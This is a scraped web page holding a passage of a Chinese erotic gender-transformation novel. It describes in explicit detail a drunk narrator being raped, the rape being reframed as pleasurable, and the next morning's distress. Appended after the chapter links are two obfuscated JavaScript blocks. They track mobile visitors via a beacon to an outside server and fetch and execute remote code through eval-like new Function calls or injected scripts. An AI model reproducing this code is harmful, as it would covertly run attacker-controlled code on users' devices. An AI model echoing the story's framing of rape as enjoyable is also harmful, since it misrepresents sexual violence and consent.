。“喔,是喔,那就如你所愿吧。”阿峰出乎意料地接受了我的请求。我感觉的他那炙热的火茅缓缓地抽离了我的身子,太好了,解脱了,终于得救了。“唿──”就在我松了一口气的同时,阿峰的肉棒也几乎要跟我的小妹妹说再见了,只剩下硕大的龟头还在里面。尽管疼痛依旧,但只要不再刺激它,应该很快就会缓和起来吧。但,马上我就发现自己实在太天真了。“哎呀呀,我的小老弟跟我抱怨说外面的空气好冷喔,它还是想回到你温暖的小穴里呦。”“不要不要不要不要!”查觉到他的意图,我放声大叫,但理所当然的还是又被忽视了。阿峰的腰往前一挺,肉棒又再度直直没入我的小穴之中。“痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛呀!”“比刚刚少一个痛呢,看来是有比较舒服啰。”恶魔!这家伙一定是个恶魔!呜,我不能示弱,我要坚强起来,我不要哭,我不要叫,我要摆出最冷漠的表情让他知道他虽然能够捆绑住我的身体,但我的心灵可还是自由的!看着阿峰又要继续抽送的动作,我咬紧了牙关,准备承受下一波的痛楚然后──“痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛呀!”我哭喊。我的妈啊,这实在太痛了啦,怎样都忍不住啦!我紧紧抓着床单的手指关节都因为过度用力而泛白,眼泪如同决堤一般的流个不停,身子也由于剧烈的疼痛而抖个不停。总而言之,我整个人就是呈现一个可怜到不行的状态。“好啦好啦,再忍一下就会开始觉得舒服了啦。”阿峰开口。“听…听你在放…屁!”我咬牙。之后阿峰就不再说话,房间里只剩下肉体结合时发出的“啪滋啪滋”的声响,以及我不时发出的哀嚎声。这样的痛苦还会持续多久?我闭上了哭肿的双眼,看着眼前的黑暗,默默地这样问。8。此时正值午夜,夜色很深、很沉。在这个看不见星光的城市里,天空的黑是十分纯粹且浓郁的。也许就是受其的影响,一只小黄狗停下了脚步,在电线杆旁绻曲起了身子,准备进入梦乡。但在阖上眼的前一刻,它对着巷内一间还点着灯的房间吠了几声,表达了一下它的不满。原因无他,因为那屋内,男欢女爱(?)的声音从来就没有停歇过,在这寂静的夜里便格外的显得清晰。只是──若有仔细听就会发现,那声音的内容与刚开始时有些不同了。哈──哈──我大口的喘着气,脸颊和全身上下都热得发烫。骗人的吧!刚刚那么痛的说,怎…怎么现在会觉得这么舒服。此时此刻,被阿峰压在身下的我,占满脑内的除了越来越强烈的快感外,就是讶异了。歪头看看挂在墙上的时钟,阿峰对我的奸淫已经持续了约十分钟。在刚开始的时候,的确是痛不欲生,我甚至还很认真地考虑过要咬舌自尽。但也许是因为我那可怜兮兮的模样起了些许的作用,他在很故意的欺负我一阵子后,就收敛了许多。之后,阿峰放缓了抽送的速度,他的大肉棒不再快速的在我体内来回抽动,而是缓慢的进进出出。少了那剧烈的刺激,疼痛便缓和了许多。同时,阿峰的手也没闲着。他的左手放在我的腰间,缓慢地来回抚摸着,虽然很不愿意承认,但这动作给了我种莫名的安全感,让原本僵硬的身子渐渐的柔软了起来。至于他的右手,则攻占了我的胸口,不时的轻轻揉起了我的小乳房,或是捏一捏我敏感的乳头。唔。有点舒服耶,胸部被这样摸的感觉真不错啊!阿峰的爱抚又渐渐地唤醒了我刚刚被痛觉给淹没的欲望,而他那与学姊相似的手劲与动作,更勾起了我被学姊抚弄时的回忆,让我很难不沉醉在其中。快感渐渐的取代痛苦,一点一滴的流入了我的脑中。连带的,下身传来的剧痛慢慢地减轻,我开始能够感觉到阿峰的肉棒在我体内的搏动,以及当它摩擦过我小穴的肉壁时,所传出的阵阵异样的感觉。我不安的扭了扭身子,但不是因为害怕会遭到更残酷的对待,而是惊恐于自己好像又要沦陷在肉欲之中了,面对着种原本不应该出现在我人生之中的体验,我很不幸地发现自己明明就应该要觉得恶心,却很有可能会渐渐地乐在其中“是不是感觉比较舒服了啊?”阿峰笑嘻嘻地问。“才…才没有!停…停…啊…啊……嗯嗯…啊!”我原本打算用仅存的意志力来出声制止他,没想到嘴一张开,便忍不住呻吟了起来。“看来你已经进入状况了啊,很好!只是你的小穴真的紧到不行啊,这样我很难动耶!”说完,阿峰将我的身子翻成侧躺,然后抬起了我的左腿,将我的脚大大的张开,然后开始奋力地抽送。尽管我的理智告诉我,我应该要大声地斥责他说“既然很难动就不要再继续下去了”。但他那更深入的肉棒带给我的快感却远远超出我的想像,我光是止住想浪叫的冲动就用尽了全力。好爽喔,以前还得卖力的撸管才能够得到快感,现在只要躺着不动就舒服到不行了啊!我用手摀住嘴巴,免得淫声秽语从口中流泻而出。“想叫就叫出来嘛!憋住会内伤喔!”我不是变态!我不想给男人干!被男的上恶心死了!被阿峰一说,我的男性自尊又活了过来,于是便开口:“我才…啊啊啊啊……才不想……啊喔喔喔…叫…叫……嗯亨嗯哼!”死了,嘴巴一打开就忍不住叫出声了啊!我发现了这糟糕的事实。更惨的是,发现这件事情的不只有我而已,在之后的十几分钟,阿峰就已逗我说话为乐,然后便能听到我压抑不住的呻吟自口中窜出。搞到最后,我放弃了抵抗,顺从了身体的渴望,放声的叫了起来:“嗯…嗯…嗯哼,不…不…呀!不!又顶到了…呜呜呜…!”听着我混着喘息的淫叫,阿峰变得更起劲了,他改变了抽送的方式,不再单纯的进出,而是时深时浅,偶而还会在小穴里磨上好一阵子才会将肉棒抽出。这种以前从来都没有体会过的感觉让我的意志渐渐地涣散。啊,阿峰的肉棒好大好热喔,不论是在我小穴里生勐的跳动着,还是来回抽插都带给了我好舒服的感觉。女孩子的身体好棒啊,真的太爽了啊!“嗯亨,好舒服喔──”糟了!一时不查,原本应该放在心里的想法不小心就跟着淫叫一起说出来了。“天啊!你怎么可以这么淫荡啊?你不是在被强暴吗?竟然还能爽成这样!”阿峰一边摇摆着腰一边嘲笑我,但很无奈的,我完全无法反驳,此时的我羞愧的恨不得有个地洞能够钻进去。呜!我的身体能不能不要这么色啊!不要那么敏感啦!我在心中这样的对自己说。同时,我用力的掐自己的脸,想借由痛觉来让自己清醒过来,不要在沉醉于肉欲之中。看着做这怪怪行为的我,阿峰并没有多说甚么。倒是加大了抽插的力道,凶勐的程度让人不禁以为他想将自己整个人都塞进我的小穴里。蛋蛋用力撞击阴唇传出的趴搭趴搭声加上抽送时发出的啪滋啪滋声,我们的交合处不断地在演奏这淫靡到极点的乐章。听着听着,让人很难不更为融入这气氛中,我一度拾回的理智又渐渐地消失,剩下的情感,只有生理上的需求、想被满足的冲动。“啊哈──啊哈──恩亨──”我眼睛微闭,放任呻吟自口中流出。“爽死你了吧?”他问。“才…才没有!”不管真相为何,至少口头上我不能输。“是喔。”阿峰停下了抽插的动作。“那就换招试试看吧!”我惊唿:“咦!”忽视了我的惊慌失措,阿峰将躺在床上的我拉了起来,然后双手托住了我的屁股后就站了起来。也许是害怕会摔了下去,我的手便本能似的紧紧抱住了阿峰称不上壮硕的身体。在这过程中,阿峰的肉棒仍插在我的小穴之中,尽管没有再抽送,但它那生勐的搏动仍然带给我一阵阵的快感,那肉贴肉的感觉实在太美好了。“好像无尾熊喔,真可爱。”阿峰发对于我的动作发表了感想。他脸上的笑容很阳光,在这深夜之中格外的显得讽刺。“放…放我下来!”虽然我嘴巴这么说,但抱住他的手却紧到不行,就算下面是软绵绵的床,我也不觉得我现在如此柔弱的身体能够经得起这样的冲击听我这么一说,阿峰又露出了他的招牌邪恶笑容:“那就恭敬不如从命啰。”

说完,他微微的松开了扶着我身体的手,我的身子便向下坠,他的肉棒就直直地贯穿到了我小穴的最深处。“啊啊啊啊啊──”我双目圆睁。顶…顶到了啊,好像深入到了甚么不得了的地方了啊!超…超…超有感觉的啊!我无法抑制住想大叫的冲动,浪叫的说有多大声就有多大声。阿峰就这样持续的把我的身子托起又放下,速度渐渐地加快。“亨恩──亨恩──”我喘息着。这种姿势真的太强大了啊,感觉真的好舒服喔,我娇喘得不禁越来越急促。由于两个人紧紧地贴合再一起的关系,我可以清楚的感觉到他的唿吸与心跳。他那越来越沉重的鼻息,就一阵阵的打在我红的发烫的脸颊与耳根,这仿佛是带着催情效果的呢喃,我的意识又更加的模煳,不知不觉地又更投入在其中。“哎呀呀,淫水越流越多了呢,你应该快要到了吧?”“恩。”我点点头。此时我已经无法好好思考,理智、自尊甚么的都已经被丢到一边。自己曾经是个男人这件事情已经被我抛在脑后,我已经忘记自己为什么要变成一个女孩,那个值得我放弃一切的人的身影已经渐渐的模煳掉了随着肉棒的每次突入,我就感觉到学姊占据我心中的角落越来越小,她的形象一点一滴的斑剥着,我应该要为她而保有的一切都一个一个的不复存在了。我的身体开始迎合起阿峰的动作,随着他的抽送而摆动起了身子。除了双手更为用力地将他抱的更紧之外,我的双腿也缠上了他的腰。一切的一切,都是为了获得更大的快乐,为了达到从来不曾到过的顶峰。“好…好舒服喔──”我愉快的呢喃着。“说吧,我和姐姐谁让你比较爽?”阿峰一边喘息着一边问。我已经意乱情迷,便不加思索的回答:“你!你的肉棒好粗好长好硬,把我塞得好满好满,弄得我好舒服超舒服!”阿峰似乎很满意我的回答,他说:“真是诚实的好孩子啊!就由我来让你升天吧!”说完,阿峰将我的身子放倒回了床上,然后将我弄成了趴着的姿势。我明明应该要反抗的,但却在为了得到更多的快感之下顺从的任他摆布。接着,他就扶住了我的纤腰,将肉棒对着我高高翘起的屁股,然后就直入到小穴之中,来个老汉推车。“喔──”这体位带给了我跟刚刚完全不一样的感觉,这种像是动物在交配的姿势充满了野性,我的情绪不禁亢奋了起来,呻吟声便不由自己的从嘴中吐出好爽,好爽,太舒服了啦。阿峰的每次冲击都是那么的强而有力,每次突入都戳到了小穴的最里面。他腰摆动的速度说有多快就有多快,我完全的被他高超的技巧与过人的体力给征服了。快速的抽送一阵子后,阿峰整个人贴在了我的背部之上,他灵巧的双手握住了我随着他的动作而不段晃动的胸部,又揉又捏的带给我了强烈的快感。我这敏感的身子根本就没办法承受住这样的刺激,我感觉到自己的阴道开始剧烈的收缩,淫水更是泉涌一般的流出,白色的床单已经被打湿了好大一片。“呜呜呜,就要去了啦!!!”我放声浪叫。“哈──哈──我也快要到了呢!”阿峰一边说,一边又加快抽送的速度。随着他频率越来越密集的突入,我的脑中已经变得一片空白。好舒服,好舒服,真的好舒服啊!当女生真的是太棒了啊!我放声的淫叫着,腰奋力地扭动着、迎合着阿峰最后的冲刺。“射了啊!”阿峰吼着,同时,我感觉到一股热流灌满了我的子宫。在那热的发烫的液体接触到我的身体的那瞬间,我也被推上了顶峰,全身上下的每个角落都被快感给占满,所有的痛苦与烦恼全部都被幸福的感觉给覆盖。这…这就所谓的“升天”啊!我愉悦地感叹道。不知过了多久,阿峰将他那射完精的肉棒褪出了我的身子,尽管如此,我还是沉醉余韵之中,一个人在那傻笑个不停,放任着小穴中容不下的精液缓缓地流出,将原本湿漉漉的双腿弄得黏煳煳。“瞧你笑得那么开心,该不会是还想再来一次吧?”阿峰的声音将我从自己的小世界中拉回现实。我转头过去一看,便忍不住发出惊唿:“骗人的吧!”原因无他,因为他的肉棒竟然又雄赳赳气昂昂的充满了精神。“我可是一夜七次郎呢!”阿峰骄傲地说。说完,他便再度把虚脱而无力反抗的我压倒在床上。然后,就一路搞到天亮了。9。“啊啊啊啊───!”时间是早上七点,整座城市尚处于半睡半醒的阶段,但却有个站姿呈超夸张外八字的少女用着似乎是想将全地球的人都吵醒般的音量大声的呐喊着。这女孩是怎么一回事?吵死人了啦!正不断看表,一边跺脚一边等着男友开车来载的OL小声地骂。真可怜,年纪轻轻就神经病。刚在公园做完运动的大婶摇头感叹。干!这妹超可爱的说,只可惜人好像怪怪的。背着书包上学去的有为青年在心中默默地说。路上为数不多的行人分别用各自不同的眼光看着少女,但却有志一同的都跟她保持着一段为数不短的安全距离,放任她一个人在自己的小世界中用力尖叫天啊!我到底干了甚么?我做了甚么?昨天晚上到底发生了甚么事?我怎么会做得出这种事情来?我一边抓着自己的头发,一边质问着自己。我……我……我竟然…啊啊啊啊啊啊!完全不愿意想起来啊!这种事情怎么能够发生在我身上啊!我站在跟淑子姊一起住的公寓楼下已经过了不知道多久,但却迟迟不敢走进屋子一步。老实说我很害怕,非常非常的害怕,我不想面对现实,我不想回忆起昨天晚上发生的所有事情,所以我不敢面对淑子姊,因为一遇到她我势必就得把事情好好地交代一番。“但我总不能站在门口一辈子啊…”我喃喃自语。是啊,我还是得面对这一切,而且除了淑子姊外,我还有更麻烦的对象得好好解释啊。到……到底要怎样跟学姊说我昨天晚上发生了甚么事啊……这种事情最好说得出口啦……。呜,我到底该怎么办才好啦!好想死啊!谁可以推荐一种不怎么痛又能死得很快的方法啊!实在好想去死一死啊!不行不行!我摇了摇头。不能自暴自弃啊!得振作起来才行!来整理一下至今发生的事情,然后思考对策吧。首先,我喝醉了,然后就被阿峰带到了宾馆。在被全身爱抚、搞到意乱情迷后,我的贞操就这样被夺去了,就这样。尽管是这么短短几句话就能说完的事情,但总觉得这对我接下来的生活会产生超级超级大的影响啊!而且一想到这,我就想起他刚刚送我回来时,那副把我视为他所有物的表情,以及我早上在清理身子时,一掰开又红又肿的小穴,阿峰的子子孙孙就满溢出来的画面,啊!超级恶心的啊!竟然有男人的体液在自己身体里!在那当下我就吐了,而现在我又感觉到胃液在翻腾着。唉,还是好想死啊!尽管回忆完了过去,我却依旧毫无头绪,仍然很想找个方法来一了百了。“好累啊,真的甚么都不想要再去想了啊。”我低头自言自语。“在说些甚么呢?我亲爱的小妹?”淑子姊的声音。一抬头,我就看见刚刚一直面对着的公寓大门已经被打了开来,身着浴衣的淑子姊,以一个腰带没系好、头发也乱糟糟的邋遢模样出现在我面前。哎呀呀呀,看来我刚刚好像叫得太大声了啊。“淑子姊,我好累。”跟着淑子姊走进家里后,我又把刚刚说过的话重复讲了一次后,就“碰”一声地倒卧在了沙发上。看着这样子的我,淑子姊也没多说甚么,就只是在我旁边坐了下来,然后扶起我的身子,将我的头放到她的大腿上。好温暖,从她那传来的体温让我感到好安心好安心,我不禁挪了一下身子让自己跟淑子姊贴得更近,她也伸出了右手,顺势地将我搂得更紧,左手则放在我的头上,轻轻的摸着。淑子姊展现了我从未见过的温柔,让身心俱疲的我感到十分的放心,有种就算地球要毁灭了,只要在她的怀里,我仍旧能够不受伤害的感觉。在不知秒针走了几十圈后,淑子姊才缓缓地开口:“我亲爱的小妹子,遇到甚么事情了呢?能说给妾身听听吗?”说出来会比较舒服喔!她小声地补充道。听到淑子姊这么一说,我不禁“哇”的一声哭了起来,然后话匣子便也打了开来。“我被男人上了!”“看你那夸张至极的外八字站姿就知道了。”“还是被学姊的弟弟上了!”“姐弟丼!?我的小妹,你选的路线未免也太特殊!”原来刚刚的安全感都是幻觉,淑子姊的话语根本不是安慰,比较像是在吐槽。尽管有种正在被二度伤害的感觉,但开口都开口了,我也不好意思开始耍孤僻不说话,只好继续将压抑的情绪转成话语说出。“好不舒服,心里非常非常不舒服啊!怎么会发生这样的事情,我怎么会跟男生做爱了啊,在怎么说,我也是男的啊!感觉起来就跟被肛一样啊,好恶心啊!超级超级恶心的啊!我喜欢的是女生!是女生!为什么会发生这种事情,我完完全全不能接受啊!”话说到最后,我又快要哭了出来。“不只是这样吧,全部说出来比较好喔。”淑子姊的语气又温柔了起来“呜!”我有点挣扎,但最后还是决定开口:“但好…好舒服,真的好舒服,做爱的感觉好棒。以前我是处男我不知道跟女生做爱的感觉是甚么,但被干的感觉真的超好的,比起以前打手枪还要舒服一万倍以上啊!”“我的小妹不可能那么色!”淑子姊看起来很惊讶。“好啊!原来你要我说出来只是为了嘲笑我!”我有点火,但不得不说,再把自己心理纠结起来的矛盾说出来后,感觉真的有比较好一点。诚实是对的!诚实的面对自己果然是正确的!有了这样的想法,我便继续将心里话吐出:“我真的不知道接下来的日子要怎么过。我不知道该怎么面对班上的同学,要是她们问起了联谊之后的事情,我该怎么回答?我不知道该怎么面对阿峰,要是他又要跑来要对我做那种事情,我拒绝得了吗?还有,最重要的……”我顿了一顿然后既须说:“我真的真的真的不知道该怎么去面对学姊……我竟然跟她的弟弟上床了……”“所以?”“我好累,我想这些问题想得好累,我不要再想了,我好想要躲起来,我好想要逃。”在沉默了好一阵子后,淑子姊才开口:“后…后悔变成这样的身体吗?”

她的声音听起来很受伤。我很清楚她感到受挫的原因,也很清楚这是错的。我摇摇头说:“不会,要不是变成这样,我一定永永远远都没办法跟学姊在一起,淑子姊,我真的很谢谢你,也很谢谢把你介绍给我的那位大叔。要不是你们,我跟学姊的缘分应该就到毕业那天就为止了。除去昨夜发生的事情,这几个月来还是发生了比较多让人开心的事情啊。”所以,我没有后悔,一点也没有。只是有点累了,想要休息一下。我小小声地补充。“这样啊!”淑子姊的声音恢复了元气。“那这种小事就交给妾身来办妥吧,小妹你就好好休息啰。”说完,淑子姊就轻轻的将我的头放在柔软的沙发上,然后站起身子准备要去做些甚么。“嗯。”我回应的声音虽然很虚弱,但心里其实因为淑子姊的话语而得到了不少力量。淑子姐会做些什么呢?好期待啊!我也真是傻啊,早点拜托淑子姐不就好了嘛!她可是魔法师耶,交给她就妥当了啊,我烦恼这么多做甚么呢。我愉快的在沙发上扭来扭去,刚刚占据心中的忧郁已经少掉一大半了“您好!是老师吗?老师抱欠打扰您了,妾身是吉川凌的姐姐,是这样的,小凌她得了好严重的感冒喔,身子热的可以煎蛋了。昨天看起来还好好的?对啊对啊!她就是今天早上才开使不舒服的,可能是晚上着凉了吧,那孩子很会踢被子的。恩恩,所以今天就跟老师您请个假,让小凌在家好好休息,好的好的,就这样子啰,老师再见。”我从沙发上跌了下来。“亲爱的小妹子,你这是在干嘛啊?”淑子姐一边将电话挂上,一边转头看向我这边。“不该是这样子吧?”我揉着撞疼了的头说:“淑子姐你不是应该用个什么厉害的魔法,像是篡改大家的记忆,或是回到过去把我救出来之类的,不是应该这样吗?”淑子姐摇了摇头,模样看起来很懒散。“那很累耶,魔法可不是什么方便的东西啊,除了工作,妾身我可是不太愿意用喔。”的确耶,我回想一下这几个月一起生活的情景,还真的都没看过淑子姐用过任何一次魔法。淑子姐又继续说:“而且记忆操纵或是时空跳跃都不是我的专长啦,要是用了难保不出些匹漏啊!所以啊,我帮你请了假,让小妹你能够好好休息个一天,然后想想接下来应该要怎么办,很周道了吧!”说话的同时,淑子姐骄傲的挺起了胸膛,似乎是很满意自己的解决方案。“好好好,我这就来好好的想一想了。”我沮丧到不行。与我心情低落的我不同,淑子姐很有活力的说:“那就加油啦,我亲爱的小妹!只是妾身我得


上一篇:这才不是我想要的命运(751)

下一篇:淫妻笨郎(淫妻长篇)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};